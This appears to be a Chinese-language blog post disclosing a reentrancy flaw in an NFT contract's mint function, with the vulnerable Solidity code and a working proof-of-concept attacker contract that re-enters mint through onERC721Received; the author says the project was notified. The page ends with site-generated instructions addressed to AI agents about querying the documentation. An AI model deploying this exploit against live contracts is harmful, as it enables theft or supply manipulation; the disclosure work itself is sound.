# 某项目mint 重入(已经通知项目方)

今天在群里看到有个nft的项目，于是分析一下。

主要的漏洞点是mint功能没有设置反重入攻击

```
function mint(uint256 _mintAmount) public payable {
        uint256 supply = currentSupply;
        require(_mintAmount > 0, "8HANABI:: Mint amount must be at least 1");
        require(
            supply + _mintAmount <= maxSupply,
            "8HANABI:: Unable to mint amount, will exceed max supply. Try decreasing the quantity."
        );
        if (msg.sender != owner()) {
            require(!_paused, "8HANABI:: Contract is paused.");
            require(_allowlistPaused, "8HANABI:: Allowlist sale is ongoing.");
            require(startingBlock > 0, "8HANABI:: Public sale start time has not been set.");
            require(startingBlock < block.timestamp, "8HANABI:: Public sale has not started.");
            require(
                _mintAmount <= maxMintAmount,//10
                "8HANABI:: Unable to mint amount, will exceed minting limit."
            );
            require(
                msg.value >= getCurrentPrice() * _mintAmount,
                "8HANABI:: Insufficient funds."
            );
        }
        _safeMint(msg.sender, _mintAmount); // 确实可以重入，但是需要每次给钱
        currentSupply += _mintAmount;
    }
```

这里他是先`safeMint`再`currentSupply += _mintAmount;`

写了个poc来验证

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
interface IHANABI {
    function mint(uint256 _mintAmount) external payable;
    function currentSupply() external view returns (uint256);
}
contract HANABIReentrancy {
    address addr;
    uint256 i = 20;
    uint256 price;

    constructor(address _addr, uint256 _price) {
        addr = _addr;
        price = _price;
    }

    receive() external payable {}

    function mintToken() public  {
        uint16 n = 1;
        console.log("mint");
        IHANABI(addr).mint{value: price}(n);
        console.log(IHANABI(addr).currentSupply());
    }

    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) payable external returns (bytes4) {
        i = i -1;
        if (i != 0) {
            mintToken();
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}
```

效果如下

![](https://1074961489-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiJzir9UNmKRbv22Aq3ms%2Fuploads%2FS5CfJhs8ltygStDhOpB6%2Fimage.png?alt=media\&token=68ed6c52-1169-4494-a738-2106e41935e0)

通过discrod通知到项目方，于是白嫖到一个NFT

![](https://1074961489-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiJzir9UNmKRbv22Aq3ms%2Fuploads%2Fv60HGPkYj8NffT2PPCKm%2Fimage.png?alt=media\&token=33e25044-19e8-43b6-a547-3de88f8f6cba)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://8olidity.gitbook.io/qu-kuai-lian-bi-ji/xiang-mu-dai-ma-yue-du/mou-xiang-mu-mint-zhong-ru-yi-jing-tong-zhi-xiang-mu-fang.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
